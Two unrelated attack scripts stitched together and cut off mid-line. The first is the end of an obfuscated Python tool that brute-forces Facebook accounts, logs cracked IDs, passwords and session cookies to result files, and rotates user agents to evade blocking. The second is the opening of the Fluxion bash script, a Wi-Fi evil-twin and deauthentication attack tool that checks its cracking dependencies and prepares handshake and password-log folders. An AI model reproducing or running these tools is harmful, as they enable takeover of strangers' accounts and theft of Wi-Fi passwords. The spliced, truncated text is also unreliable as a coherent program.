" y = " " except:pass _ahmar_cici_("\r%s[%sXSAN-CP%s] %s • %s "%(_U_,_P_,_U_,fl.get("id"),i)) self.cp.append("%s•%s"%(fl.get("id"),i)) _ahmar_ahmar_("CP/%s.txt"%(tanggal),"a+").write("%s•%s\n"%(fl.get("id"),i)) break elif log.get("status")=="success": _ahmar_cici_("\r%s[%sXSAN-OK%s] %s • %s • %s "%(_H_,_P_,_H_,fl.get("id"),i,koki(log.get("cookies")))) self.ada.append("%s•%s"%(fl.get("id"),i)) _ahmar_ahmar_("OK/%s.txt"%(tanggal),"a+").write("%s•%s\n"%(fl.get("id"),i)) break else:continue self.ko+=1 _ahmar_cici_("\r%s[%sCrack%s][%s%s/%s%s][%sOK:%s%s][%sCP:%s%s]%s"%(_U_,_P_,_U_,_P_,self.ko,len(self.fl),_U_,_P_,len(self.ada),_U_,_P_,len(self.cp),_U_,_P_), end=' ');sys.stdout.flush() except: self.mbasic(fl) ### Menu Mengecek Hasil Crack def _cek_result_dev_(): _clear_() _my_logo_() _Ahmar_jan_Cici_ = '__My_Love__'+_oscylopsce_+_escylipsce_+_ascylapsci_+'__forever__' _ahmar_cici_('%s[ %sCrack Results %s]'%(_U_,_P_,_U_)) _ahmar_cici_('\n%s[%s1%s] %sCheck Results OK'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s2%s] %sChel Results CP'%(_U_,_P_,_U_,_P_)) ch = _cici_ahmar_('%s[%s•%s] %sChoose : '%(_U_,_P_,_U_,_P_)) if ch in ['']: _ahmar_cici_('%s[%s!%s] %sWrong input'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) elif ch in ['1','01','001','a']: try: okl = os.listdir("OK") _ahmar_cici_('\n%s[%s Crack Results Stored in File OK %s]\n'%(_U_,_P_,_U_)) for file in okl: _ahmar_cici_('%s[%s•%s] %s%s'%(_U_,_P_,_U_,_P_,file)) _ahmar_cici_('') files = _cici_ahmar_('%s[%s•%s] %sINPUT File Name : '%(_U_,_P_,_U_,_P_)) _ahmar_cici_('') if files == "": _ahmar_cici_('%s[%s!%s] %sWrong Input Bro'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) os.system('cat OK/%s'%(files)) ppp = _ahmar_ahmar_("OK/%s"%(files)).read().splitlines() del1 = ("%s"%(files)).replace("-", " ").replace(".txt", "") _ahmae_cici_('\n%s[%s•%s] %sTotal Crack Result Date %s Is %s Account'%(_U_,_P_,_U_,_P_,del1,len(ppp))) except: _ahmar_cici_('%s[%s No Results Found %s]'%(_M_,_P_,_M_)) elif ch in ['2','02','002','b']: try: cpl = os.listdir("CP") _ahmar_cici_('\n%s[%s Crack Results Stored in CP Files %s]\n'%(_U_,_P_,_U_)) for file in cpl: _ahmar_cici_('%s[%s•%s] %s%s'%(_U_,_P_,_U_,_P_,file)) _ahmar_cici_('') files = _cici_ahmar_('%s[%s•%s] %sInput File Name : '%(_U_,_P_,_U_,_P_)) _ahmar_cici_('') if files == "": _ahmar_cici_('%s[%s!%s] %sWrong input'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) os.system('cat CP/%s'%(files)) ppp = _ahmar_ahmar_("CP/%s"%(files)).read().splitlines() del1 = ("%s"%(files)).replace("-", " ").replace(".txt", "") _ahmar_cici_('\n%s[%s•%s] %sTotal Crack Result Date %s Is %s Account'%(_U_,_P_,_U_,_P_,del1,len(ppp))) except: _ahmar_cici_('%s[%s No Results Found %s]'%(_M_,_P_,_M_)) else: _ahmar_cici_('%s[%s!%s] %sWeong Input'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) _cici_ahmar_('\n%s[ %sReturn %s]%s'%(_U_,_P_,_U_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) ### Mau Recode Lu Ya? def _check_recode_(_oscylopsce_,_ascylapsci_,_escylipsce_): _recode_ = '__My_Love__'+_oscylopsce_+_escylipsce_+_ascylapsci_+'__Forever__' if _uscylupsci_ not in _recode_:_ahmar_cici_('%s[%s!%s] %sHey, do you want to recode?'%(_M_,_P_,_M_,_P_)) else:return _menu_dev_(_recode_) ### Menu User Agent def _default_ua_(_Cici_Cantik_Banget_): ua = ua_xiaomi try: ugent = _ahmar_ahmar_('ugent.txt','w') ugent.write(ua) ugent.close() except (KeyError,IOError): _login_dev_(_Cici_Cantik_Banget_) def _ugen_dev_(_Ahmar_jan_Cici_): _var_ugen_(_Ahmar_jan_Cici_) pmu = _cici_ahmar_('%s[%s•%s] %sChoose : '%(_U_,_P_,_U_,_P_)) _ahmar_cici_('') if pmu in[""]: _ahmar_cici_('%s[%s!%s] %sWrong input'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) elif pmu in ['1','01','001','a']: os.system('xdg-_ahmar_ahmar_ https://www.google.com/search?q=My+User+Agent&oq=My+User+Agent&aqs=chrome..69i57j0l3j0i22i30l6.4674j0j1&sourceid=chrome&ie=UTF-8') _cici_ahmar_('%s[ %sRetrun %s]%s'%(_U_,_P_,_U_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) elif pmu in ['2','02','002','b']: _del_() ua = _cici_ahmar_("%s[%s•%s] %sInput User agent : \n\n"%(_U_,_P_,_U_,_P_)) try: ugent = _ahmar_ahmar_('ugent.txt','w') ugent.write(ua) ugent.close() _ahmar_cici_("\n%s[ %sSuccessfully Changed User Agent %s]"%(_U_,_P_,_U_)) _cici_ahmar_('\n%s[ %sEnter Click %s]%s'%(_U_,_P_,_U_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) except (KeyError,IOError): _ahmar_cici_("\n%s[ %sFailed to Change User Agent %s]"%(_M_,_P_,_M_)) _cici_ahmar_('\n%s[ %sRetrun %s]%s'%(_M_,_P_,_M_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) elif pmu in ['3','03','003','c']: _ugen_hp_(_Ahmar_jan_Cici_) elif pmu in ['4','04','004','d']: _del_() _ahmar_cici_("%s[ %sUser Agent Deleted Successfully %s]"%(_U_,_P_,_U_)) _cici_ahmar_('\n%s[ %sRetrun %s]%s'%(_U_,_P_,_U_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) elif pmu in ['5','05','005','e']: try: ungser = _ahmar_ahmar_('ugent.txt', 'r').read() except (KeyError,IOError): ungser = 'Not found' _ahmar_cici_("%s[%s•%s] %sYour User Agent : \n\n%s%s"%(_U_,_P_,_U_,_P_,_U_,ungser)) _ahmar_cici_("\n%s[ %sThis is your current user agent %s]"%(_U_,_P_,_U_)) _cici_ahmar_('\n%s[ %sRetrun %s]%s'%(_U_,_P_,_U_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) elif pmu in ['0','00','000','f']: _menu_dev_(_Ahmar_jan_Cici_) else: _ahmar_cici_('%s[%s!%s] %sWrong Input BRO'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) def _ugen_hp_(_Ahmar_jan_Cici_): _del_() _shmar_cici_('%s[%s1%s] %sXiaomi'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s2%s] %sNokia'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s3%s] %sAsus'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s4%s] %sHuawei'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s5%s] %sVivo'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s6%s] %sOppo'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s7%s] %sSamsung'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s8%s] %sWindows'%(_U_,_P_,_U_,_P_)) pc = _cici_ahmar_('%s[%s•%s] %sChoose : '%(_U_,_P_,_U_,_P_)) _dapunta_cici_('') if pc in['']: _dapunta_cici_('%s[%s!%s] %sWrong Input Bro'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) elif pc in ['1','01']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_xiaomi);ugent.close() elif pc in ['2','02']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_nokia);ugent.close() elif pc in ['3','03']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_asus);ugent.close() elif pc in ['4','04']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_huawei);ugent.close() elif pc in ['5','05']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_vivo);ugent.close() elif pc in ['6','06']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_oppo);ugent.close() elif pc in ['7','07']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_samsung);ugent.close() elif pc in ['8','08']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_windows);ugent.close() else: _ahmar_cici_('%s[%s!%s] %sWrong input'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) _ahmar_cici_("%s[ %sSuccessfully Changed User Agent %s]"%(_U_,_P_,_U_)) _cici_ahmar_('\n%s[ %sEnter Click %s]%s'%(_U_,_P_,_U_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) ### Tampilan User Agent def _var_ugen_(_Ahmar_jan_Cici_): _dapunta_cici_("%s[%s1%s] %sBest User Agent"%(_U_,_P_,_U_,_P_)) _Ahmat_cici_("%s[%s2%s] %sChange User Agent %s[%sManual%s]"%(_U_,_P_,_U_,_P_,_U_,_P_,_U_)) _Ahmar_cici_("%s[%s3%s] %sChange User agent %s[%sAdjust HP%s]"%(_U_,_P_,_U_,_P_,_U_,_P_,_U_)) _Ahmar_cici_("%s[%s4%s] %sDelete User Agent"%(_U_,_P_,_U_,_P_)) _Ahmar_cici_("%s[%s5%s] %sChek User Agent"%(_U_,_P_,_U_,_P_)) _Ahmar_cici_("%s[%s0%s] %sRetrun"%(_U_,_P_,_U_,_P_)) ### Tampilan Metode def start_method(): _Ahmar_cici_('\n%s[%s1%s] %sMetode Api'%(_U_,_P_,_U_,_P_)) _Ahmar_cici_('%s[%s2%s] %sMetode Mbasic'%(_U_,_P_,_U_,_P_)) ### Tampilan Mulai Crack def started(): _Ahmar_cici_('%s[%s•%s] %sCrack is Running...'%(_U_,_P_,_U_,_P_)) _Ahmar_cici_('%s[%s•%s] %sAccount [OK] Saved To OK/%s.txt'%(_U_,_P_,_U_,_P_,tanggal)) _Ahmar_cici_('%s[%s•%s] %sAccount [CP] Saved To CP/%s.txt'%(_U_,_P_,_U_,_P_,tanggal)) _Ahmar_cici_('%s[%s•%s] %sUse Flight Mode [5 Seconds Only] Every 5 Minutes\n'%(_U_,_P_,_U_,_P_)) ### Start if __name__=='__main__': os.system('git pull') _clear_() _folder_() _check_recode_(_oscylopsce_,_ascylapsci_,_escylipsce_) # _Ahmar_cici_('%s[%s•%s] %s'%(_U_,_P_,_U_,_P_)) # _Ahmar_cici_('%s[%s!%s] %s'%(_M_,_P_,_M_,_P_))
Emersonmafra
#!/bin/bash ########## DEBUG Mode ########## if [ -z ${FLUX_DEBUG+x} ]; then FLUX_DEBUG=0 else FLUX_DEBUG=1 fi ################################ ####### preserve network ####### if [ -z ${KEEP_NETWORK+x} ]; then KEEP_NETWORK=0 else KEEP_NETWORK=1 fi ################################ ###### AUTO CONFIG SETUP ####### if [ -z ${FLUX_AUTO+x} ]; then FLUX_AUTO=0 else FLUX_AUTO=1 fi ################################ if [[ $EUID -ne 0 ]]; then echo -e "\e[1;31mYou don't have admin privilegies, execute the script as root.""\e[0m""" exit 1 fi if [ -z "${DISPLAY:-}" ]; then echo -e "\e[1;31mThe script should be exected inside a X (graphical) session.""\e[0m""" exit 1 fi clear ##################################### < CONFIGURATION > ##################################### DUMP_PATH="/tmp/TMPflux" HANDSHAKE_PATH="/root/handshakes" PASSLOG_PATH="/root/pwlog" WORK_DIR=`pwd` DEAUTHTIME="9999999999999" revision=9 version=2 IP=192.168.1.1 RANG_IP=$(echo $IP | cut -d "." -f 1,2,3) #Colors white="\033[1;37m" grey="\033[0;37m" purple="\033[0;35m" red="\033[1;31m" green="\033[1;32m" yellow="\033[1;33m" Purple="\033[0;35m" Cyan="\033[0;36m" Cafe="\033[0;33m" Fiuscha="\033[0;35m" blue="\033[1;34m" transparent="\e[0m" general_back="Back" general_error_1="Not_Found" general_case_error="Unknown option. Choose again" general_exitmode="Cleaning and closing" general_exitmode_1="Disabling monitoring interface" general_exitmode_2="Disabling interface" general_exitmode_3="Disabling "$grey"forwarding of packets" general_exitmode_4="Cleaning "$grey"iptables" general_exitmode_5="Restoring "$grey"tput" general_exitmode_6="Restarting "$grey"Network-Manager" general_exitmode_7="Cleanup performed successfully!" general_exitmode_8="Thanks for using fluxion" ############################################################################################# # DEBUG MODE = 0 ; DEBUG MODE = 1 [Normal Mode / Developer Mode] if [ $FLUX_DEBUG = 1 ]; then ## Developer Mode export flux_output_device=/dev/stdout HOLD="-hold" else ## Normal Mode export flux_output_device=/dev/null HOLD="" fi # Delete Log only in Normal Mode ! function conditional_clear() { if [[ "$flux_output_device" != "/dev/stdout" ]]; then clear; fi } function airmon { chmod +x lib/airmon/airmon.sh } airmon # Check Updates function checkupdatess { revision_online="$(timeout -s SIGTERM 20 curl "https://raw.githubusercontent.com/FluxionNetwork/fluxion/master/fluxion" 2>/dev/null| grep "^revision" | cut -d "=" -f2)" if [ -z "$revision_online" ]; then echo "?">$DUMP_PATH/Irev else echo "$revision_online">$DUMP_PATH/Irev fi } # Animation function spinner { local pid=$1 local delay=0.15 local spinstr='|/-\' while [ "$(ps a | awk '{print $1}' | grep $pid)" ]; do local temp=${spinstr#?} printf " [%c] " "$spinstr" local spinstr=$temp${spinstr%"$temp"} sleep $delay printf "\b\b\b\b\b\b" done printf " \b\b\b\b" } # ERROR Report only in Developer Mode function err_report { echo "Error on line $1" } if [ $FLUX_DEBUG = 1 ]; then trap 'err_report $LINENUM' ERR fi #Function to executed in case of unexpected termination trap exitmode SIGINT SIGHUP source lib/exitmode.sh #Languages for the web interface source language/source # Design function top(){ conditional_clear echo -e "$red[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]" echo -e "$red[ ]" echo -e "$red[ $red FLUXION $version" "${yellow} ${red} < F""${yellow}luxion" "${red}I""${yellow}s" "${red}T""${yellow}he ""${red}F""${yellow}uture > " ${blue}" ]" echo -e "$blue[ ]" echo -e "$blue[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]""$transparent" echo echo } ############################################## < START > ############################################## # Check requirements function checkdependences { echo -ne "aircrack-ng....." if ! hash aircrack-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "aireplay-ng....." if ! hash aireplay-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "airmon-ng......." if ! hash airmon-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "airodump-ng....." if ! hash airodump-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "awk............." if ! hash awk 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "curl............" if ! hash curl 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "dhcpd..........." if ! hash dhcpd 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent" (isc-dhcp-server)" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "hostapd........." if ! hash hostapd 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "iwconfig........" if ! hash iwconfig 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "lighttpd........" if ! hash lighttpd 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "macchanger......" if ! hash macchanger 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "mdk3............" if ! hash mdk3 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "nmap............" if ! [ -f /usr/bin/nmap ]; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "php-cgi........." if ! [ -f /usr/bin/php-cgi ]; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "pyrit..........." if ! hash pyrit 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "python.........." if ! hash python 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "unzip..........." if ! hash unzip 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "xterm..........." if ! hash xterm 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "openssl........." if ! hash openssl 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "rfkill.........." if ! hash rfkill 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "strings........." if ! hash strings 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent" (binutils)" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "fuser..........." if ! hash fuser 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent" (psmisc)" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 if [ "$exit" = "1" ]; then exit 1 fi sleep 1 clear } top checkdependences # Create working directory if [ ! -d $DUMP_PATH ]; then mkdir -p $DUMP_PATH &>$flux_output_device fi # Create handshake directory if [ ! -d $HANDSHAKE_PATH ]; then mkdir -p $HANDSHAKE_PATH &>$flux_output_device fi #create password log directory if [ ! -d $PASSLOG_PATH ]; then mkdir -p $PASSLOG_PATH &>$flux_output_device fi if [ $FLUX_DEBUG != 1 ]; then clear; echo "" sleep 0.01 && echo -e "$red " sleep 0.01 && echo -e " ⌠▓▒▓▒ ⌠▓╗ ⌠█┐ ┌█ ┌▓\ /▓┐ ⌠▓╖ ⌠◙▒▓▒◙ ⌠█\ ☒┐ " sleep 0.01 && echo -e " ║▒_ │▒║ │▒║ ║▒ \▒\/▒/ │☢╫ │▒┌╤┐▒ ║▓▒\ ▓║ " sleep 0.01 && echo -e " ≡◙◙ ║◙║ ║◙║ ║◙ ◙◙ ║¤▒ ║▓║☯║▓ ♜◙\✪\◙♜ " sleep 0.01 && echo -e " ║▒ │▒║__ │▒└_┘▒ /▒/\▒\ │☢╫ │▒└╧┘▒ ║█ \▒█║ " sleep 0.01 && echo -e " ⌡▓ ⌡◘▒▓▒ ⌡◘▒▓▒◘ └▓/ \▓┘ ⌡▓╝ ⌡◙▒▓▒◙ ⌡▓ \▓┘ " sleep 0.01 && echo -e " ¯¯¯ ¯¯¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯ ¯¯¯ ¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯¯¯¯¯¯ " echo"" sleep 0.1 echo -e $red" FLUXION "$white""$version" (rev. "$green "$revision"$white") "$yellow"by "$white" ghost" sleep 0.1 echo -e $green " Page:"$red"https://github.com/FluxionNetwork/fluxion "$transparent sleep 0.1 echo -n " Latest rev." tput civis checkupdatess & spinner "$!" revision_online=$(cat $DUMP_PATH/Irev) echo -e ""$white" [${purple}${revision_online}$white"$transparent"]" if [ "$revision_online" != "?" ]; then if [ "$revision" -lt "$revision_online" ]; then echo echo echo -ne $red" New revision found! "$yellow echo -ne "Update? [Y/n]: "$transparent read -N1 doupdate echo -ne "$transparent" doupdate=${doupdate:-"Y"} if [ "$doupdate" = "Y" ]; then cp $0 $HOME/flux_rev-$revision.backup curl "https://raw.githubusercontent.com/FluxionNetwork/fluxion/master/fluxion" -s -o $0 echo echo echo -e ""$red"Updated successfully! Restarting the script to apply the changes ..."$transparent"" sleep 3 chmod +x $0 exec $0 exit fi fi fi echo "" tput cnorm sleep 1 fi # Show info for the selected AP function infoap { Host_MAC_info1=`echo $Host_MAC | awk 'BEGIN { FS = ":" } ; { print $1":"$2":"$3}' | tr [:upper:] [:lower:]` Host_MAC_MODEL=`macchanger -l | grep $Host_MAC_info1 | cut -d " " -f 5-` echo "INFO WIFI" echo echo -e " "$blue"SSID"$transparent" = $Host_SSID / $Host_ENC" echo -e " "$blue"Channel"$transparent" = $channel" echo -e " "$blue"Speed"$transparent" = ${speed:2} Mbps" echo -e " "$blue"BSSID"$transparent" = $mac (\e[1;33m$Host_MAC_MODEL $transparent)" echo } ############################################### < MENU > ############################################### # Windows + Resolution function setresolution { function resA { TOPLEFT="-geometry 90x13+0+0" TOPRIGHT="-geometry 83x26-0+0" BOTTOMLEFT="-geometry 90x24+0-0" BOTTOMRIGHT="-geometry 75x12-0-0" TOPLEFTBIG="-geometry 91x42+0+0" TOPRIGHTBIG="-geometry 83x26-0+0" } function resB { TOPLEFT="-geometry 92x14+0+0" TOPRIGHT="-geometry 68x25-0+0" BOTTOMLEFT="-geometry 92x36+0-0" BOTTOMRIGHT="-geometry 74x20-0-0" TOPLEFTBIG="-geometry 100x52+0+0" TOPRIGHTBIG="-geometry 74x30-0+0" } function resC { TOPLEFT="-geometry 100x20+0+0" TOPRIGHT="-geometry 109x20-0+0" BOTTOMLEFT="-geometry 100x30+0-0" BOTTOMRIGHT="-geometry 109x20-0-0" TOPLEFTBIG="-geometry 100x52+0+0" TOPRIGHTBIG="-geometry 109x30-0+0" } function resD { TOPLEFT="-geometry 110x35+0+0" TOPRIGHT="-geometry 99x40-0+0" BOTTOMLEFT="-geometry 110x35+0-0" BOTTOMRIGHT="-geometry 99x30-0-0" TOPLEFTBIG="-geometry 110x72+0+0" TOPRIGHTBIG="-geometry 99x40-0+0" } function resE { TOPLEFT="-geometry 130x43+0+0" TOPRIGHT="-geometry 68x25-0+0" BOTTOMLEFT="-geometry 130x40+0-0" BOTTOMRIGHT="-geometry 132x35-0-0" TOPLEFTBIG="-geometry 130x85+0+0" TOPRIGHTBIG="-geometry 132x48-0+0" } function resF { TOPLEFT="-geometry 100x17+0+0" TOPRIGHT="-geometry 90x27-0+0" BOTTOMLEFT="-geometry 100x30+0-0" BOTTOMRIGHT="-geometry 90x20-0-0" TOPLEFTBIG="-geometry 100x70+0+0" TOPRIGHTBIG="-geometry 90x27-0+0" } detectedresolution=$(xdpyinfo | grep -A 3 "screen #0" | grep dimensions | tr -s " " | cut -d" " -f 3) ## A) 1024x600 ## B) 1024x768 ## C) 1280x768 ## D) 1280x1024 ## E) 1600x1200 case $detectedresolution in "1024x600" ) resA ;; "1024x768" ) resB ;; "1280x768" ) resC ;; "1366x768" ) resC ;; "1280x1024" ) resD ;; "1600x1200" ) resE ;; "1366x768" ) resF ;; * ) resA ;; esac language; setinterface } function language { iptables-save > $DUMP_PATH/iptables-rules conditional_clear if [ "$FLUX_AUTO" = "1" ];then source $WORK_DIR/language/en; setinterface else while true; do conditional_clear top echo -e ""$red"["$yellow"2"$red"]"$transparent" Select your language" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" English " echo -e " "$red"["$yellow"2"$red"]"$transparent" German " echo -e " "$red"["$yellow"3"$red"]"$transparent" Romanian " echo -e " "$red"["$yellow"4"$red"]"$transparent" Turkish " echo -e " "$red"["$yellow"5"$red"]"$transparent" Spanish " echo -e " "$red"["$yellow"6"$red"]"$transparent" Chinese " echo -e " "$red"["$yellow"7"$red"]"$transparent" Italian " echo -e " "$red"["$yellow"8"$red"]"$transparent" Czech " echo -e " "$red"["$yellow"9"$red"]"$transparent" Greek " echo -e " "$red"["$yellow"10"$red"]"$transparent" French " echo -e " "$red"["$yellow"11"$red"]"$transparent" Slovenian " echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) source $WORK_DIR/language/en; break;; 2 ) source $WORK_DIR/language/ger; break;; 3 ) source $WORK_DIR/language/ro; break;; 4 ) source $WORK_DIR/language/tu; break;; 5 ) source $WORK_DIR/language/esp; break;; 6 ) source $WORK_DIR/language/ch; break;; 7 ) source $WORK_DIR/language/it; break;; 8 ) source $WORK_DIR/language/cz break;; 9 ) source $WORK_DIR/language/gr; break;; 10 ) source $WORK_DIR/language/fr; break;; 11 ) source $WORK_DIR/language/svn; break;; * ) echo "Unknown option. Please choose again"; conditional_clear ;; esac done fi } # Choose Interface function setinterface { conditional_clear top #unblock interfaces rfkill unblock all # Collect all interfaces in montitor mode & stop all KILLMONITOR=`iwconfig 2>&1 | grep Monitor | awk '{print $1}'` for monkill in ${KILLMONITOR[@]}; do airmon-ng stop $monkill >$flux_output_device echo -n "$monkill, " done # Create a variable with the list of physical network interfaces readarray -t wirelessifaces < <(./lib/airmon/airmon.sh |grep "-" | cut -d- -f1) INTERFACESNUMBER=`./lib/airmon/airmon.sh | grep -c "-"` if [ "$INTERFACESNUMBER" -gt "0" ]; then if [ "$INTERFACESNUMBER" -eq "1" ]; then PREWIFI=$(echo ${wirelessifaces[0]} | awk '{print $1}') else echo $header_setinterface echo i=0 for line in "${wirelessifaces[@]}"; do i=$(($i+1)) wirelessifaces[$i]=$line echo -e " "$red"["$yellow"$i"$red"]"$transparent" $line" done if [ "$FLUX_AUTO" = "1" ];then line="1" else echo echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read line fi PREWIFI=$(echo ${wirelessifaces[$line]} | awk '{print $1}') fi if [ $(echo "$PREWIFI" | wc -m) -le 3 ]; then conditional_clear top setinterface fi readarray -t naggysoftware < <(./lib/airmon/airmon.sh check $PREWIFI | tail -n +8 | grep -v "on interface" | awk '{ print $2 }') WIFIDRIVER=$(./lib/airmon/airmon.sh | grep "$PREWIFI" | awk '{print($(NF-2))}') if [ ! "$(echo $WIFIDRIVER | egrep 'rt2800|rt73')" ]; then rmmod -f "$WIFIDRIVER" &>$flux_output_device 2>&1 fi if [ $KEEP_NETWORK = 0 ]; then for nagger in "${naggysoftware[@]}"; do killall "$nagger" &>$flux_output_device done sleep 0.5 fi if [ ! "$(echo $WIFIDRIVER | egrep 'rt2800|rt73')" ]; then modprobe "$WIFIDRIVER" &>$flux_output_device 2>&1 sleep 0.5 fi # Select Wifi Interface select PREWIFI in $INTERFACES; do break; done WIFIMONITOR=$(./lib/airmon/airmon.sh start $PREWIFI | grep "enabled on" | cut -d " " -f 5 | cut -d ")" -f 1) WIFI_MONITOR=$WIFIMONITOR WIFI=$PREWIFI #No wireless cards else echo $setinterface_error sleep 5 exitmode fi ghost } # Check files function ghost { conditional_clear CSVDB=dump-01.csv rm -rf $DUMP_PATH/* choosescan selection } # Select channel function choosescan { if [ "$FLUX_AUTO" = "1" ];then Scan else conditional_clear while true; do conditional_clear top echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_choosescan" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" $choosescan_option_1 " echo -e " "$red"["$yellow"2"$red"]"$transparent" $choosescan_option_2 " echo -e " "$red"["$yellow"3"$red"]"$red" $general_back " $transparent echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) Scan ; break ;; 2 ) Scanchan ; break ;; 3 ) setinterface; break;; * ) echo "Unknown option. Please choose again"; conditional_clear ;; esac done fi } # Choose your channel if you choose option 2 before function Scanchan { conditional_clear top echo " " echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_choosescan " echo " " echo -e " $scanchan_option_1 "$blue"6"$transparent" " echo -e " $scanchan_option_2 "$blue"1-5"$transparent" " echo -e " $scanchan_option_2 "$blue"1,2,5-7,11"$transparent" " echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read channel_number set -- ${channel_number} conditional_clear rm -rf $DUMP_PATH/dump* xterm $HOLD -title "$header_scanchan [$channel_number]" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e airodump-ng --encrypt WPA -w $DUMP_PATH/dump --channel "$channel_number" -a $WIFI_MONITOR --ignore-negative-one } # Scans the entire network function Scan { conditional_clear rm -rf $DUMP_PATH/dump* if [ 